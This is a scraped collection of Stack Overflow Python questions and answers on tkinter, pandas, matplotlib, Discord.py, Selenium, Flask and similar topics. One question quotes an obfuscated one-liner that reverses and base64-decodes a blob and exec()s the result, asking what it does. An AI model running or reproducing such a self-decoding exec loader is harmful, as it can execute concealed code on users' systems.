Q: I have a script for tkinter but need to save the user's input and store it in a variable I found this script that creates a window with numerous buttons and a text box but I'm wondering if anyone can help me gather the user's input after selecting a button or pressing the enter key after typing in the text box #Im...
I have a script for tkinter but need to save the user's input and store it in a variable
I found this script that creates a window with numerous buttons and a text box but I'm wondering if anyone can help me gather the user's input after selecting a button or pressing the enter key after typing in the text box #Import the required Libraries from tkinter import * from tkinter import ttk #Create an instance ...
[ "You can just declare a variable to store the input using global, store the text in your entry box into that variable whenever the button is clicked, and print it out.\n#Import the required Libraries\nfrom tkinter import *\nfrom tkinter import ttk\n#Create an instance of Tkinter frame\nwin = Tk()\n#Set the geometry...
[ 0 ]
[]
[]
[ "python", "tkinter" ]
stackoverflow_0074196361_python_tkinter.txt
Q: How to combine two methods for uploading file? I have a Django application And I have a upload functionality. And I have two methods that shows the extracted text: def filter_verdi_total_number_fruit(self, file_name): self.extractingText.extract_text_from_image(file_name) regex = r"(\d*(?:\.\d+)*...
How to combine two methods for uploading file?
I have a Django application And I have a upload functionality. And I have two methods that shows the extracted text: def filter_verdi_total_number_fruit(self, file_name): self.extractingText.extract_text_from_image(file_name) regex = r"(\d*(?:\.\d+)*)\s*\W+(?:" + '|'.join(re.escape(word) ...
[ "I think you have forgotten return statement in combine_methods function, so it returns None, which cannot be \"joined\" in content='\\n'.join(filter_text.combine_methods(uploadfile.image.path))\n" ]
[ 1 ]
[]
[]
[ "django", "python" ]
stackoverflow_0074196489_django_python.txt
Q: Matplotlib animation: update axis ticks in pcolormesh I'm creating an animation of an image with axis values varying over time. All_data is a matrix that contains in one axe time frames inside there are 3 quatities which are longitude latitude and pixel values so lon = All_data[0,0] #-> lon is a 2D nxm matrix lat ...
Matplotlib animation: update axis ticks in pcolormesh
I'm creating an animation of an image with axis values varying over time. All_data is a matrix that contains in one axe time frames inside there are 3 quatities which are longitude latitude and pixel values so lon = All_data[0,0] #-> lon is a 2D nxm matrix lat = All_data[0,1] #-> lat is a 2D nxm matrix I = All_data[0,2...
[ "I haven't tested this with your code (the question could use an MWE), but you might be able to do something like:\n# Form relative steps in coordinates between frames for each frame\ndlon = np.r_[0, All_data[1:, 0] - All_data[:-1, 0]]\ndlat = np.r_[0, All_data[1:, 1] - All_data[:-1, 1]]\n\ndef animate(i):\n im....
[ 0 ]
[]
[]
[ "animation", "matplotlib", "matplotlib_animation", "python", "python_3.x" ]
stackoverflow_0072451175_animation_matplotlib_matplotlib_animation_python_python_3.x.txt
Q: nested decisions for python both letter and number If the character is an alphabet, then it should check if it is a vowel or consonant. If it is a vowel, then print "Vowel". If it is a consonant, then it should print "Uppercase" if it is in uppercase and "Lowercase" if otherwise. If the character is numeric then i...
nested decisions for python both letter and number
If the character is an alphabet, then it should check if it is a vowel or consonant. If it is a vowel, then print "Vowel". If it is a consonant, then it should print "Uppercase" if it is in uppercase and "Lowercase" if otherwise. If the character is numeric then it should check the value. If it is less than 5, then pri...
[ "def check(my_char):\n\n if my_char.isalpha():\n\n if my_char.lower() in (\"a\", \"e\", \"i\", \"o\", \"u\"):\n print(\"Vowel\")\n\n else:\n if my_char.isupper():\n print(\"Uppercase\")\n\n else:\n print(\"Lowercase\")\n\n elif my_ch...
[ 0 ]
[]
[]
[ "python" ]
stackoverflow_0074196289_python.txt
Q: BeautifulSoup: How to add script src attribute with querystring without encoding the url? I need to add a new script tag that has query parameters to my html document so I tried this: jsmanager = self.soup.new_tag("script", src="https://example.com/myscript.js?data=test&alarm=1") self.soup.select_one("head").appen...
BeautifulSoup: How to add script src attribute with querystring without encoding the url?
I need to add a new script tag that has query parameters to my html document so I tried this: jsmanager = self.soup.new_tag("script", src="https://example.com/myscript.js?data=test&alarm=1") self.soup.select_one("head").append(jsmanager) The problem is that after the script element is added the url in the src attribut...
[ "This is not actually a problem - this is valid html. Both jsmanager.get('src') and jsmanager.attrs['src'] will give the same link as you set, and jsmanager.prettify(formatter=None) will also show the tag without encoding the ampersand [the '&' character].\nIf you add to a html\n<script src=\"https://example.com/my...
[ 0 ]
[]
[]
[ "beautifulsoup", "python" ]
stackoverflow_0074192079_beautifulsoup_python.txt
Q: datum conversion from NAD27 + NGVD29 height (ftUS) to NAD27 + NAVD88 height (ftUS) using python I am using python pyproj to convert xyz values of Louisiana, USA region from NAD27 + NGVD29 height (ftUS) to NAD27 + NAVD88 height (ftUS). So, I am not changing the horizontal projection (because it's NAD27 for both), ...
datum conversion from NAD27 + NGVD29 height (ftUS) to NAD27 + NAVD88 height (ftUS) using python
I am using python pyproj to convert xyz values of Louisiana, USA region from NAD27 + NGVD29 height (ftUS) to NAD27 + NAVD88 height (ftUS). So, I am not changing the horizontal projection (because it's NAD27 for both), only the vertical projection is changing from NGVD29 to NAVD88.However, NAD83 + NAVD88 height (ftUS) ...
[ "There is a dedicated StackExchange for GIS questions. Check it out https://gis.stackexchange.com/questions/340392/vertical-datum-transformation-using-pyproj\n" ]
[ 2 ]
[]
[]
[ "coordinate_transformation", "epsg", "pyproj", "python" ]
stackoverflow_0074196475_coordinate_transformation_epsg_pyproj_python.txt
Q: Pandas df.describe() - how do I extract values into Dataframe? I am trying to do a naive Bayes and after loading some data into a dataframe in Pandas, the describe function captures the data I want. I'd like to capture the mean and std from each column of the table but am unsure on how to do that. I've tried thi...
Pandas df.describe() - how do I extract values into Dataframe?
I am trying to do a naive Bayes and after loading some data into a dataframe in Pandas, the describe function captures the data I want. I'd like to capture the mean and std from each column of the table but am unsure on how to do that. I've tried things like: df.describe([mean]) df.describe(['mean']) df.describe().me...
[ "Please try something like this:\ndf.describe(include='all').loc['mean']\n\n", "You were close. You don't need any include tag. Just rewrite your second approach correctly: df.describe()['mean']\nFor example:\nimport pandas as pd\n\ns = pd.Series([1, 2, 3, 4, 5])\ns.describe()['mean']\n# 3.0\n\nIf you want both m...
[ 14, 6, 3, 0, 0 ]
[ "yeah bro i am faced same problem after seeing these solutions i tried it.luckly one get worked.here i worked on the 75% in describe function this is my coded=bank.groupby(by=['region','Gender']).get_group(('south Moravia','Female')) d.cashwdn.describe()['75%']\n" ]
[ -1 ]
[ "data_science", "dataframe", "pandas", "python" ]
stackoverflow_0054393571_data_science_dataframe_pandas_python.txt
Q: Backfilling data on missing time intervals (pandas) I have a dataset with 15min intervals, yet it is missing many values between 19:00 and 21:00. I would like to complete it with values from the nearest available row from the same day. As example: See the table attached: 1 The Date column is currently my index col...
Backfilling data on missing time intervals (pandas)
I have a dataset with 15min intervals, yet it is missing many values between 19:00 and 21:00. I would like to complete it with values from the nearest available row from the same day. As example: See the table attached: 1 The Date column is currently my index column. Tried resampling, yet it resulted in error "TypeErro...
[ "df['Date'] = pd.to_datetime(df['Date'])\ndf2=(df.set_index('Date' )\n .apply(lambda x: x.resample('15min').ffill().bfill() )\n .reset_index() ) \ndf2\n\nDate Close\n0 2019-02-26 19:15:00 175.095\n1 2019-02-26 19:30:00 175.360\n2 2019-02-26 19:45:00 175.555\n3 2019-02-26 20:00:00 ...
[ 0 ]
[]
[]
[ "numpy", "pandas", "python" ]
stackoverflow_0074196622_numpy_pandas_python.txt
Q: How to import SubRequest (pytest)? In the following code, the request has the type of <class '_pytest.fixtures.SubRequest'>. I want to add type hint to the parameter request. @pytest.fixture def dlv_service(request: SubRequest): # How to import SubRequest? print(type(request), request) filepath = pathlib....
How to import SubRequest (pytest)?
In the following code, the request has the type of <class '_pytest.fixtures.SubRequest'>. I want to add type hint to the parameter request. @pytest.fixture def dlv_service(request: SubRequest): # How to import SubRequest? print(type(request), request) filepath = pathlib.Path(request.node.fspath.strpath) f ...
[ "I've found one on the internet, hope this will help.\nfrom _pytest.fixtures import SubRequest\n\nI think it's worth trying, but not sure whether it could work, sorry.\n", "For some applications, such as accessing the node property, you can import FixtureRequest, which is part of the public API and a superclass o...
[ 1, 1 ]
[]
[]
[ "pytest", "python" ]
stackoverflow_0071670608_pytest_python.txt
Q: Why doesn't the accuracy when training VGG-16 change much? Currently, I'm trying to train a dataset upon a VGG-16 model. The issue is that the accuracy doesn't change much, but it isn't stuck to a fixed accuracy. The figure of plot can be seen below. Any suggestions why this happens? I've followed several guides t...
Why doesn't the accuracy when training VGG-16 change much?
Currently, I'm trying to train a dataset upon a VGG-16 model. The issue is that the accuracy doesn't change much, but it isn't stuck to a fixed accuracy. The figure of plot can be seen below. Any suggestions why this happens? I've followed several guides to fix this issue that is about stuck accuracy, but they don't wo...
[ "Do not use the adam optimizer to train VGG, it is well known that it fails due to the large number of parameters in the VGG network. Just use sgd and tune the learning rate, say starting from 0.01, increasing 10x or 0.1x until the training loss decreases nicely.\n", "I'd suggest you fine-tuning the pre-trained m...
[ 12, 3, 2, 2, 1, 0, 0 ]
[]
[]
[ "deep_learning", "keras", "python", "tensorflow" ]
stackoverflow_0056207651_deep_learning_keras_python_tensorflow.txt
Q: Discord.py modify a message based on reaction I have an issue and I can't understand how to do it. Basically I have a bot that send a message if he detect a word. Now I wanted to add the possibility to modify that message based on who add a reaction (the bot add 3 reactions at each message he send). So far, it's w...
Discord.py modify a message based on reaction
I have an issue and I can't understand how to do it. Basically I have a bot that send a message if he detect a word. Now I wanted to add the possibility to modify that message based on who add a reaction (the bot add 3 reactions at each message he send). So far, it's working, my bot respond and add the 3 reactions, but...
[ "https://discordpy.readthedocs.io/en/stable/api.html?highlight=on_raw_reaction_add#discord.RawReactionActionEvent\nThe event on_raw_reaction_add returns a payload which is a RawReactionActionEvent class.\nFrom this payload you can get the message_id which can be used to fetch the message (using for example discord....
[ 1, 1 ]
[]
[]
[ "discord.py", "python" ]
stackoverflow_0074183408_discord.py_python.txt
Q: AttributeError: 'list' object has no attribute 'ents' in building NER using BERT I'm trying to build a NER model using Bert-base-NER for a tweets dataset and ending up getting this error . Please help This is what I have done from transformers import AutoTokenizer, AutoModelForTokenClassification from transformers...
AttributeError: 'list' object has no attribute 'ents' in building NER using BERT
I'm trying to build a NER model using Bert-base-NER for a tweets dataset and ending up getting this error . Please help This is what I have done from transformers import AutoTokenizer, AutoModelForTokenClassification from transformers import pipeline tokenizer = AutoTokenizer.from_pretrained("dslim/bert-base-NER") mod...
[ "It seems you mix code from different modules.\n.ents exists in module spacy but not in transformers\n#import spacy\nimport en_core_web_sm\n\nnlp = en_core_web_sm.load()\n\ndoc = nlp('Hello World of Python. Have a nice day')\n\nprint([(x.text, x.label_) for x in doc.ents])\n\nIn transformers you should use directly...
[ 1 ]
[]
[]
[ "bert_language_model", "named_entity_recognition", "pandas", "python" ]
stackoverflow_0074192948_bert_language_model_named_entity_recognition_pandas_python.txt
Q: Move files from subfolders to another folder I want to move all the files from multiple subdirectories to another folder in the same directory as the parent folder but get the following error: FileNotFoundError: [Errno 2] No such file or directory: '/content/drive/MyDrive/Dev/FaceRec/lfw/Emmit_Smith/Emmit_Smith_00...
Move files from subfolders to another folder
I want to move all the files from multiple subdirectories to another folder in the same directory as the parent folder but get the following error: FileNotFoundError: [Errno 2] No such file or directory: '/content/drive/MyDrive/Dev/FaceRec/lfw/Emmit_Smith/Emmit_Smith_0001.jpg' -> '/content/drive/MyDrive/Dev/FaceRec/neg...
[ "Try the following:\nimport os\nimport glob\nimport shutil\n\nsrc_path = '/content/drive/MyDrive/Dev/FaceRec/lfw'\ndest_path = src_path.replace('lfw', 'negatives')\nflist = glob.glob(os.path.join(src_path, '*/*'))\nfor fname in flist:\n shutil.move(fname, fname.replace(os.path.dirname(fname), dest_path))\n\nWhy ...
[ 1 ]
[]
[]
[ "python" ]
stackoverflow_0073788398_python.txt
Q: append new columns with elements of another columns dataframe Python screenshot of dataframe I have a dataframe with multiple columns. One of these contains names of french suppliers like "Intermarché", "Carrefour", "Leclerc" (as you can see in the framed column on the attached screenshot). Unfortunately, the name...
append new columns with elements of another columns dataframe Python
screenshot of dataframe I have a dataframe with multiple columns. One of these contains names of french suppliers like "Intermarché", "Carrefour", "Leclerc" (as you can see in the framed column on the attached screenshot). Unfortunately, the names are typed by hand and are not standardized at all. From the "Distributeu...
[ "You'll need to first split your Distributeurs with the comma by doing something along the lines of df['Distributeurs'].str.split(','). Once that is done you can iterate over the rows of your dataframe, get the idx and the row in question. Then you can iterate over your splitted Distributeur cell. I also make it ca...
[ 0 ]
[]
[]
[ "append", "dataframe", "list", "python" ]
stackoverflow_0074196176_append_dataframe_list_python.txt
Q: How to add hovering annotations to a plot I am using matplotlib to make scatter plots. Each point on the scatter plot is associated with a named object. I would like to be able to see the name of an object when I hover my cursor over the point on the scatter plot associated with that object. In particular, it woul...
How to add hovering annotations to a plot
I am using matplotlib to make scatter plots. Each point on the scatter plot is associated with a named object. I would like to be able to see the name of an object when I hover my cursor over the point on the scatter plot associated with that object. In particular, it would be nice to be able to quickly see the names o...
[ "It seems none of the other answers here actually answer the question. So here is a code that uses a scatter and shows an annotation upon hovering over the scatter points.\nimport matplotlib.pyplot as plt\nimport numpy as np; np.random.seed(1)\n\nx = np.random.rand(15)\ny = np.random.rand(15)\nnames = np.array(list...
[ 228, 74, 39, 36, 15, 15, 6, 6, 2, 1, 1, 0 ]
[]
[]
[ "matplotlib", "mplcursors", "pandas", "python", "seaborn" ]
stackoverflow_0007908636_matplotlib_mplcursors_pandas_python_seaborn.txt
Q: how to decode long int to its string value in python Any data, string/long/dobule or in saved in memory as hex or decimal values. Based on my point, I want to get the double value of the string and sent it over transmission and decode the received double value to string. In C, I can get following working. TX char ...
how to decode long int to its string value in python
Any data, string/long/dobule or in saved in memory as hex or decimal values. Based on my point, I want to get the double value of the string and sent it over transmission and decode the received double value to string. In C, I can get following working. TX char name[6] = "me123"//underline decimal value is 2127182692 s...
[ "Ordinary strings in Python represent Unicode objects - and they have to be converted first to a concrete bytes representation by an specific codec using the .encode(...) method. By default, utf-8 is used, but any encoding can be used, and it is necessary if the text you get goes outside the ASCII correspondence to...
[ 3, 0 ]
[]
[]
[ "python", "python_3.x", "string" ]
stackoverflow_0074113915_python_python_3.x_string.txt
Q: Use of sympy and scipy results in bad behaviour, where is my error? I am writing a code in which I calculate derivatives and integrals. For that I use sympy and scipy.integrate, respectively. But the use results in a strange erroneous, behaviour. Below is a minimal code that reproduces the behaviour: from scipy.in...
Use of sympy and scipy results in bad behaviour, where is my error?
I am writing a code in which I calculate derivatives and integrals. For that I use sympy and scipy.integrate, respectively. But the use results in a strange erroneous, behaviour. Below is a minimal code that reproduces the behaviour: from scipy.integrate import quadrature import sympy import math def func(z): retu...
[ "Whenever possible, never mix sympy with other numerical packages. For example, you wrote:\ndef func(z):\n return math.e**(2*z**2)+3*z\n\nLet's replace math.e with sympy.E:\ndef func(z):\n return sympy.E**(2*z**2)+3*z\n\nNow, before integrating with Scipy, since this appears to be a relatively easy expression...
[ 1, 1 ]
[]
[]
[ "calculus", "derivative", "python", "scipy", "sympy" ]
stackoverflow_0074194139_calculus_derivative_python_scipy_sympy.txt
Q: Update data when rows equals to a pandas So i have a dataset looks like: Col A Col B Col C Nanana NM RETIRED Popopo PO RETIRED Cecece ZX WORK Lalala AB WORK And a JSON Looks Like: { "NM":"Nano Master", "PO":"Prank Operation" } I wanted to update When COL A When Col C = Retired AND COL B = Data inside JSON ...
Update data when rows equals to a pandas
So i have a dataset looks like: Col A Col B Col C Nanana NM RETIRED Popopo PO RETIRED Cecece ZX WORK Lalala AB WORK And a JSON Looks Like: { "NM":"Nano Master", "PO":"Prank Operation" } I wanted to update When COL A When Col C = Retired AND COL B = Data inside JSON If in query it might looks like: ...
[ "try this:\n#load json from local,\nwith open('json_example.json') as json_data:\n dictt= json.load(json_data)\n#or\n#dictt={\"NM\":\"Nano Master\",\"PO\":\"Prank Operation\"}\n\ndf['Col A']=np.where(df['Col C']=='RETIRED',df['Col B'].replace(dictt),df['Col A'])\nprint(df)\n'''\n Col A Col B Col C\...
[ 0, 0, 0 ]
[]
[]
[ "pandas", "python" ]
stackoverflow_0074196638_pandas_python.txt
Q: path converter not working, but literal in URL works When I try to visit this URL: http://127.0.0.1:8000/slugtest/ I get 404 page. Here's the message that I get: Using the URLconf defined in scrap.urls, Django tried these URL patterns, in this order: admin/ api-auth/ getpage/ ^<slug>/$ [name='ArticleInfoViewS...
path converter not working, but literal in URL works
When I try to visit this URL: http://127.0.0.1:8000/slugtest/ I get 404 page. Here's the message that I get: Using the URLconf defined in scrap.urls, Django tried these URL patterns, in this order: admin/ api-auth/ getpage/ ^<slug>/$ [name='ArticleInfoViewSet-list'] ^<slug>/(?P<slug>[^/.]+)/$ [name='ArticleInfoViewS...
[ "router.register('', views.ArticleInfoViewSet, basename='ArticleInfoViewSet')\n\nEasy mistake.\nYou have set everything up perfectly from what I can see, but you registered the route as literally /<slug> hehe :) whereas I'm guessing you wanted a little API at the root of the app which accepts a slug url parameter? ...
[ 2 ]
[]
[]
[ "django", "python" ]
stackoverflow_0074196663_django_python.txt
Q: Convert UTC to London/Europe, time whatever time of year it is I've got some date and time data as a string that is formatted like this, in UTC: ,utc_date_and_time, api_calls 0,2022-10-20 00:00:00,12 1,2022-10-20 00:05:00,14 2,2022-10-20 00:10:00,17 Is there a way to create another column here that always represe...
Convert UTC to London/Europe, time whatever time of year it is
I've got some date and time data as a string that is formatted like this, in UTC: ,utc_date_and_time, api_calls 0,2022-10-20 00:00:00,12 1,2022-10-20 00:05:00,14 2,2022-10-20 00:10:00,17 Is there a way to create another column here that always represents that time, but so it is for London/Europe? ,utc_date_and_time, a...
[ "You should use utc timezone\nfrom datetime import datetime, timezone\n\ndatetime.now(timezone.utc).isoformat()\n\nOutputs:\n2022-10-25T15:27:08.874057+00:00\n", "with pandas, you'd convert to datetime, specify UTC and then call tz_convert:\ndf\nOut[9]: \n utc_date_and_time api_calls\n0 2022-10-20 00:00:00...
[ 2, 2 ]
[]
[]
[ "datetime", "python", "python_3.x" ]
stackoverflow_0074196423_datetime_python_python_3.x.txt
Q: Check if condition in another pandas dataframe I have a dataframe like so called df_2021: IP isTrue 101 1 101 0 102 1 103 0 I also have another dataframe like so called df_2022: IP 101 102 103 104 I want to create a new column in df_2022 isTrue2021 which checks if the IP is in 2021 and is True in ...
Check if condition in another pandas dataframe
I have a dataframe like so called df_2021: IP isTrue 101 1 101 0 102 1 103 0 I also have another dataframe like so called df_2022: IP 101 102 103 104 I want to create a new column in df_2022 isTrue2021 which checks if the IP is in 2021 and is True in any row. How can I do this in pandas? Expected df: I...
[ "You can filter df_2021 and merge dataframes:\ndf_2022 = df_2022.merge(df_2021[df_2021.isTrue==1],on='IP', how='left').fillna(0).rename(columns={'isTrue': 'isTrue2021'})\n\n", "Let's try groupby.any on df2021 then map it to df2022 isTrue2021 column\ndf2022['isTrue2021'] = (df2022['IP'].map(df2021.groupby('IP')['i...
[ 1, 0, 0 ]
[]
[]
[ "pandas", "python" ]
stackoverflow_0074196695_pandas_python.txt
Q: I have Python errors I am having several python errors in this code and I need help with the code. I'm fairly new to python so I have trouble figuring this out. Traceback (most recent call last): File "/root/sandbox/stats.py", line 74, in <module> main() File "/root/sandbox/stats.py", line 66, in main ...
I have Python errors
I am having several python errors in this code and I need help with the code. I'm fairly new to python so I have trouble figuring this out. Traceback (most recent call last): File "/root/sandbox/stats.py", line 74, in <module> main() File "/root/sandbox/stats.py", line 66, in main "Mean of [1, 2, 3, 4, 5, 6...
[ "When you print something make sure you are using opening brackets:\n print(\"Mean of [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]: \", mean(list(range(1,11))))\n # print(\"Mode of [1, 1, 1, 1, 4, 4]:\", mode([1, 1, 1, 1, 4, 4]))\n print(\"Median of [1, 2, 3, 4]:\", median([1, 2, 3, 4, 5]))\n\nIn order to make your median...
[ 0 ]
[ "list.range()\n\nmodify\nrange(list.start,list.stop,list.step)\n\nlen(list) / 2 is float\n midIndex = len(list) / 2\n\nmodify\n midIndex = math.ceil(len(list) / 2)\n\nenter image description here\n" ]
[ -2 ]
[ "attributeerror", "python" ]
stackoverflow_0074196335_attributeerror_python.txt
Q: How to write this function in one line of code? I have this code that converts all int elemets of a list to strings: def convert(x): for i in range(0, len(x)): x[i] = str(x[i]) return x How can I write the function in only one line, using map()? Tried writing the for loop in one line but it doesn'...
How to write this function in one line of code?
I have this code that converts all int elemets of a list to strings: def convert(x): for i in range(0, len(x)): x[i] = str(x[i]) return x How can I write the function in only one line, using map()? Tried writing the for loop in one line but it doesn't seem to work.
[ "You can use a list comprehension:\ndef convert(x):\n return [str(i) for i in x]\n\n", "Probably the shortest way:\ndef convert(x):\n return list(map(str, x))\n\n", "Here\ndef convert(x):\n return [str(y) for y in x]\n\n", "Using list comprehension\nints = [1, 2, 3]\nresult = [str(x) for x in ints]\n...
[ 3, 3, 2, 2 ]
[]
[]
[ "list", "python" ]
stackoverflow_0074196914_list_python.txt
Q: How do I define a function whether x exists in the list in Python? Define a function with following specs. Takes two argments: x: a scaler l: a list The function will check whether x exists in the list, and print out the results if exists: yes if not: no For example: func1(x = 12, l = [1,45,5,3]) Will produce 12 i...
How do I define a function whether x exists in the list in Python?
Define a function with following specs. Takes two argments: x: a scaler l: a list The function will check whether x exists in the list, and print out the results if exists: yes if not: no For example: func1(x = 12, l = [1,45,5,3]) Will produce 12 is no def inList(x=12,l=[1,45,5,3]): for x in fuc1: if x in...
[ "this can be a simple if statement\nIf x in i:\n print(\"It is here\")\nelse:\n print(\"It is not here\")\n\n", "just as simple:\ndef is_in_list(x, l):\n if x in l:\n print('in list')\n return\n else:\n print('not in list')\n\nif you can't use in or you are trying to do it using loo...
[ 1, 1, 1, 0 ]
[ "I hope this will help you:\nMyList = [1,45,5,3]\nx=12\ndef my_function(MyList , x):\n# Print list\n print(\"Our List: \", MyList )\n\n# Check if 'b' exists in the list or not\n if x in MyList:\n print(\" value is in the list\")\n else:\n print(\" value is not in the list\")\nmy_function(MyLi...
[ -1 ]
[ "function", "python" ]
stackoverflow_0074196775_function_python.txt
Q: grabbing console log output for a chrome browser using python and selenium Title sums it up really. I'm completely new to using selenium with python. Using a python script, I'm trying to run a command on a website's console, then I'm trying to retrieve the output from that command to be used by my python script. f...
grabbing console log output for a chrome browser using python and selenium
Title sums it up really. I'm completely new to using selenium with python. Using a python script, I'm trying to run a command on a website's console, then I'm trying to retrieve the output from that command to be used by my python script. from selenium import webdriver from selenium.webdriver.common.by import By chrom...
[ "Here's how to save the console logs and print them out:\nfrom selenium import webdriver\n\ndriver = webdriver.Chrome()\n\ndriver.execute_script(\"\"\"\n console.stdlog = console.log.bind(console);\n console.logs = [];\n console.log = function(){\n console.logs.push(Array.from(arguments));\n ...
[ 1 ]
[]
[]
[ "python", "selenium" ]
stackoverflow_0074196516_python_selenium.txt
Q: Why is Python's shutil.which() not working? I'm trying to see if shutil.which() works for finding the blastn command from NCBI's BLAST. Running which blastn on my terminal results in /usr/local/bin/blastn. However, if I do shutil.which("blastn"), it simply returns None. Searching for Python works fine, as shutil.w...
Why is Python's shutil.which() not working?
I'm trying to see if shutil.which() works for finding the blastn command from NCBI's BLAST. Running which blastn on my terminal results in /usr/local/bin/blastn. However, if I do shutil.which("blastn"), it simply returns None. Searching for Python works fine, as shutil.which("python") returns /usr/bin/python. Why is th...
[ "This means that the environment in your shell has a different PATH than the environment within the Python runtime. There are many possibly causes, but it commonly happens because something in your .bashrc appends to PATH, which will be seen in shell but not by Python.\nTo check the environment in shell:\n$ echo $P...
[ 6, 0 ]
[]
[]
[ "blast", "python", "shutil" ]
stackoverflow_0061264364_blast_python_shutil.txt
Q: updating 2d color plot pixel by pixel without replotting old pixels I have an instrument that continuously measures voltage. By calling get_sample_r, I am appending the voltage value measured at a given time to v_measured_array, which I would like to visualize as a 2D color plot in real time. Below is my attempt a...
updating 2d color plot pixel by pixel without replotting old pixels
I have an instrument that continuously measures voltage. By calling get_sample_r, I am appending the voltage value measured at a given time to v_measured_array, which I would like to visualize as a 2D color plot in real time. Below is my attempt at it using matplotlib. import numpy as np import matplotlib matplotlib.us...
[ "The idea is that you have to fix the color map and not to plot in each iteration and only updated the data.\nThis is still not very fast, but much faster than your implementation. If you want to go further and faster you can use opencv, and build image and update, that could be much more efficient. I replaced your...
[ 0 ]
[]
[]
[ "canvas", "draw", "matplotlib", "python", "visualization" ]
stackoverflow_0074188683_canvas_draw_matplotlib_python_visualization.txt
Q: What does the next python code line do? What is the result of it? _ = lambda __ : __import__('base64').b64decode(__[::-1]);exec((_)(b'=kSKnoFWoxWW5d2bYl3avlVajlTYx4ETi1WOHZlM5QjVxMWMaRkSpd1V3pXWYp1cW1mRxJmRSpVZYRGdVJDcwImVkplWHhXahp3a3Z1akNkYtpkcRtmUhNWRaRXVrB3dXZEZ2cFVGpWVwoURZpmRTZVMKJ3YGRmWXZkSIZFbvhnUyYVVNdFdO...
What does the next python code line do? What is the result of it?
_ = lambda __ : __import__('base64').b64decode(__[::-1]);exec((_)(b'=kSKnoFWoxWW5d2bYl3avlVajlTYx4ETi1WOHZlM5QjVxMWMaRkSpd1V3pXWYp1cW1mRxJmRSpVZYRGdVJDcwImVkplWHhXahp3a3Z1akNkYtpkcRtmUhNWRaRXVrB3dXZEZ2cFVGpWVwoURZpmRTZVMKJ3YGRmWXZkSIZFbvhnUyYVVNdFdOR1aaVkVuJ1VWZkUzNWRklWTFlFeUVlT3ZlVWVzVWZlaW5GaIl1VotkUxolehRkRXRmVvhXV...
[ "If you run:\nimport base64\n \nprint(base64.b64decode(b'=kSKnoFWoxWW5d2bYl3avlVajlTYx4ETi1WOHZlM5QjVxMWMaRkSpd1V3pXWYp1cW1mRxJmRSpVZYRGdVJDcwImVkplWHhXahp3a3Z1akNkYtpkcRtmUhNWRaRXVrB3dXZEZ2cFVGpWVwoURZpmRTZVMKJ3YGRmWXZkSIZFbvhnUyYVVNdFdOR1aaVkVuJ1VWZkUzNWRklWTFlFeUVlT3ZlVWVzVWZlaW5GaIl1VotkUxolehRkRXRmVvhXVWp0ShxW...
[ 2, 1 ]
[]
[]
[ "decompiler", "python", "python_3.x" ]
stackoverflow_0074196855_decompiler_python_python_3.x.txt
Q: making an arithmetic calculator function in python We have to make a simple arithemtic calculator function in python My code is pretty primitive, but I thought it should work. Why doesn't it? Why doesnt it return sum? def calculator(a,b,c): sum = 0 if a == "-": sum = b - c elif a == "...
making an arithmetic calculator function in python
We have to make a simple arithemtic calculator function in python My code is pretty primitive, but I thought it should work. Why doesn't it? Why doesnt it return sum? def calculator(a,b,c): sum = 0 if a == "-": sum = b - c elif a == "+": sum = b + c elif a == "*": sum =...
[ "The code works. You are just returning the value and not doing anything with it. At least to see it you can change the last line to print(calculator(\"-\", 5, 3)) to see the result.\n" ]
[ 2 ]
[]
[]
[ "math", "python" ]
stackoverflow_0074197035_math_python.txt
Q: Why am I getting an error while installing discord.py on mac QUICK NOTE: This question is probably more related to macos or zsh than python. I am trying to install discord.py on macos monterey, though I have the xcode command line tools, I am facing errors while installing discord.py. I am running Python 3.11.0a5....
Why am I getting an error while installing discord.py on mac
QUICK NOTE: This question is probably more related to macos or zsh than python. I am trying to install discord.py on macos monterey, though I have the xcode command line tools, I am facing errors while installing discord.py. I am running Python 3.11.0a5. The whole output: Collecting discord.py Using cached discord.py...
[ "https://docs.python.org/3.11/whatsnew/3.11.html#whatsnew311-c-api-porting\nYou're getting an error because you're using an alpha release of Python 3.11 and YARL hasn't been updated to support it yet.\nThe non-limited API files cellobject.h, classobject.h, code.h, context.h, funcobject.h, genobject.h and longintrep...
[ 0, 0 ]
[]
[]
[ "discord.py", "macos", "python" ]
stackoverflow_0071168397_discord.py_macos_python.txt
Q: Apache beam - look back x mins from each element I am trying to calculate the total number of transactions done by each customer in last x min. Let's say there are a total of 3 elements, I would like to look back last 5 minutes and find the sum for each customer. {"event_time": 12:01, "customer": "A", "amount": 1...
Apache beam - look back x mins from each element
I am trying to calculate the total number of transactions done by each customer in last x min. Let's say there are a total of 3 elements, I would like to look back last 5 minutes and find the sum for each customer. {"event_time": 12:01, "customer": "A", "amount": 10.00} -> look up last 5 minutes (from event time 11.55...
[ "I don't think window functions will really help in your case since you need to have a 5 minute window for each element.\nYou can try to do more of a python oriented approach inside the pipeline.\nEG:\nimport datetime\ndef convert(date_time):\n format = '%Y-%m-%d %H:%M:%S' # The format\n datetime_str = datet...
[ 1, 0 ]
[]
[]
[ "apache_beam", "python" ]
stackoverflow_0073256923_apache_beam_python.txt
Q: Substract one year to a Pandas Period Serie I have a pandas series which is a Period object with frequency W-SUN >>dft_history.date dtype: period[W-SUN] I wanna keep this frequency, but being able to filter values one year in the past from now on. To do so, I rest to this periods 1 year, but I get an error: >>dft...
Substract one year to a Pandas Period Serie
I have a pandas series which is a Period object with frequency W-SUN >>dft_history.date dtype: period[W-SUN] I wanna keep this frequency, but being able to filter values one year in the past from now on. To do so, I rest to this periods 1 year, but I get an error: >>dft_history.date - pd.DateOffset(years=1) Incompatib...
[ "You can't subtract the Dateoffset from the Period also to compare two different periods they must have the same frequency. One way to approach this problem is to first make sure the frequency of the periods is same\nlower = pd.Timestamp('now') - pd.DateOffset(years=1)\ndft_history[dft_history['date'] >= lower.to_p...
[ 1 ]
[]
[]
[ "date", "pandas", "python", "series" ]
stackoverflow_0074196804_date_pandas_python_series.txt
Q: POST request form data without reloading page Flask / fetch I know there are other similar questions but after reading all of them, I can't figure out how to make it. I have multiple form in a page and I want to post data from each form without reloading the page. This is the example of one of the forms. I have 5....
POST request form data without reloading page Flask / fetch
I know there are other similar questions but after reading all of them, I can't figure out how to make it. I have multiple form in a page and I want to post data from each form without reloading the page. This is the example of one of the forms. I have 5. I get the inputs from the user like this: <form method="POST" cl...
